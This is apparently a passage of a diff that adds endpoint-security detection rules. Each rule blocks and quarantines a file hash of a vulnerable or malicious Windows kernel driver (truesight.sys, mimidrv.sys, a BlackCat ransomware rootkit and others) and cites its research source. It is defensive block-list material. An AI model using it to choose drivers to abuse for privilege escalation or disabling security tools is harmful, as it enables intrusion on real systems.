+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478230Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b2c503e6bed4a29973c7b27888a52216ee90a3db54aa9cd2ecabee04c028063",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e2085497-e760-5e9f-956a-243fd4a471b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473125Z",
+  "creation_date": "2026-03-23T11:45:30.473129Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473137Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bc8cb3aebe911bd9b4a3caf46f7dda0f73fec4d2e4e7bc9601bb6726f5893091",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e208ebb8-e51d-501b-b1ca-e32bf84d4d7f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824404Z",
+  "creation_date": "2026-03-23T11:45:31.824408Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824417Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "80f3535ebfa3f9448baa7074386872e8db8fad71da7fa7ef79a0a3ddf694f982",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e20df849-eb71-5be5-9ff7-a8514093e184",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146117Z",
+  "creation_date": "2026-03-23T11:45:32.146120Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146125Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9d06688123a9251aeb76ac8dad2af956566e2f1051550988611c7623dbebb3d3",
+  "comment": "Vulnerable Kernel Driver (aka neofltr.sys) [https://www.loldrivers.io/drivers/c44e6197-efab-49d2-8a5f-04ae4a0f0ea0/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e234e327-12e7-5f8c-92a1-5e1210e296fe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980340Z",
+  "creation_date": "2026-03-23T11:45:29.980342Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980348Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2665d3127ddd9411af38a255787a4e2483d720aa021be8d6418e071da52ed266",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e239108c-8623-5317-99f7-0fdedc38ac1e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819019Z",
+  "creation_date": "2026-03-23T11:45:30.819021Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819026Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "40ebdd21c93146a92536688a230801791a86e2bec2719896a3d629ad930e9f17",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e23f6eac-0453-5211-916d-4ccddfbe0a01",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495417Z",
+  "creation_date": "2026-03-23T11:45:31.495420Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495425Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3f76f5b988cdf003d62c75db7a866a88ff266485bf74e51492134d83b94a9bce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e247529f-ff12-51f9-ac92-07683f3159b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613224Z",
+  "creation_date": "2026-03-23T11:45:29.613226Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613232Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7c6f397f1fb230627bb537e1cf59283be04d17d050a384661e00aba6877b145",
+  "comment": "ASUS vulnerable UEFI Update Driver (aka AsUpIO64.sys and GVCIDrv64.sys) [https://codeinsecurity.wordpress.com/2016/06/12/asus-uefi-update-driver-physical-memory-readwrite/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e2514b33-6230-55f6-bed3-d4f3581fb251",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462984Z",
+  "creation_date": "2026-03-23T11:45:30.462988Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462997Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a85d3fd59bb492a290552e5124bfe3f9e26a3086d69d42ccc44737b5a66673ec",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e253c5e3-dbf2-50c5-9eec-ea5270254fa8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819209Z",
+  "creation_date": "2026-03-23T11:45:30.819211Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819216Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db0bcfb5bbd93abc8682508af224a1aa5e96f82f037ee0ba26d1d02a3d639a2a",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e267c3eb-213d-53fd-8ab4-02e1ca348d21",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828596Z",
+  "creation_date": "2026-03-23T11:45:30.828598Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828603Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "41de3c49f4f1a68015cafad2d26e52a94ad84c6115ca8a3a6f30f694501166c7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e26c5a57-f487-591b-806b-95b6365e7509",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815815Z",
+  "creation_date": "2026-03-23T11:45:31.815817Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815822Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a9da4966af33f53ca136ed1e329183d4920e8bb6c0d5e78bbe0ef318b110ac54",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e273a147-e68e-5a83-abb0-e9b4e38b4aa0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482122Z",
+  "creation_date": "2026-03-23T11:45:31.482127Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482136Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c052dc397f7511e3efe9ca222a43aa2b23a4d7e0919236dcbfafef1ebbb42d55",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e27d1beb-34e6-5912-b81e-aab112a892a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981957Z",
+  "creation_date": "2026-03-23T11:45:29.981960Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981966Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3a95cc82173032b82a0ffc7d2e438df64c13bc16b4574214c9fe3be37250925e",
+  "comment": "Vulnerable Kernel Driver (aka TGSafe.sys) [https://www.loldrivers.io/drivers/ad693146-4adf-4407-bb20-f2505e34c226/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e27e832f-c988-5829-9bf0-c3cc6899bc3f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985521Z",
+  "creation_date": "2026-03-23T11:45:29.985523Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985529Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0bec69c1b22603e9a385495fbe94700ac36b28e5",
+  "comment": "Malicious BlackCat/ALPHV Ransomware Rootkit (aka fgme.sys, ktes.sys, kt2.sys and ktgn.sys) [https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html] [file SHA1]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e288ee5e-f8d9-58f6-a965-344e85b4f4a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826728Z",
+  "creation_date": "2026-03-23T11:45:30.826730Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826736Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f24b7c60fa8ca31d84525aa5bb83390a27221a4699e9013cb2d2bfe309cc233b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e28da84a-7eff-536e-a1cf-bd52ea37fbf1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974818Z",
+  "creation_date": "2026-03-23T11:45:29.974820Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974826Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81c301c77dbfff44567165139e9a5ee3af2aee838298451c7075dc6e1aae489f",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e2e004d6-948b-56b6-a67f-b422fa79aaa0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487469Z",
+  "creation_date": "2026-03-23T11:45:31.487471Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487477Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "66394d18086f41b56ea4b0ef6292204274c2effc63247934a4b2bf5f9a583d7b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e30ab370-8d90-5e40-8216-01249ab22bb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459765Z",
+  "creation_date": "2026-03-23T11:45:30.459769Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459777Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1beb15c90dcf7a5234ed077833a0a3e900969b60be1d04fcebce0a9f8994bdbb",
+  "comment": "Vulnerable Kernel Driver (aka Driver7.sys) [https://www.loldrivers.io/drivers/9ca73d04-3349-4c16-9384-94c43335a031/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e3251261-a83c-51ad-8a89-5b24a67cc2a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144305Z",
+  "creation_date": "2026-03-23T11:45:32.144308Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144318Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa96eca78a57b779fd398294ae2519b7c4fe9e4369e6e7fa5167aebbe6e0c09a",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e32629ec-8c02-50fe-9457-71bccff6d1db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476083Z",
+  "creation_date": "2026-03-23T11:45:31.476087Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476097Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c16a31bdd0b2163034d3b45dbe7e57ed733d4cc0fdedddc1dd5ca16bb9ebb05",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e334ef88-95ca-50b3-a0dc-2967a51fe2ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613529Z",
+  "creation_date": "2026-03-23T11:45:29.613531Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613536Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a60efb06feeb96bad4b8d814896609b6bda6f130464aa963a881a38a3f06b7cb",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e3363f98-d8e6-557c-8c91-7f0772b47f24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140267Z",
+  "creation_date": "2026-03-23T11:45:31.140269Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140278Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7758ddbec387b671f9027f0feda7d34797ce9e92eebb3bde2087a4d4cab8aeb",
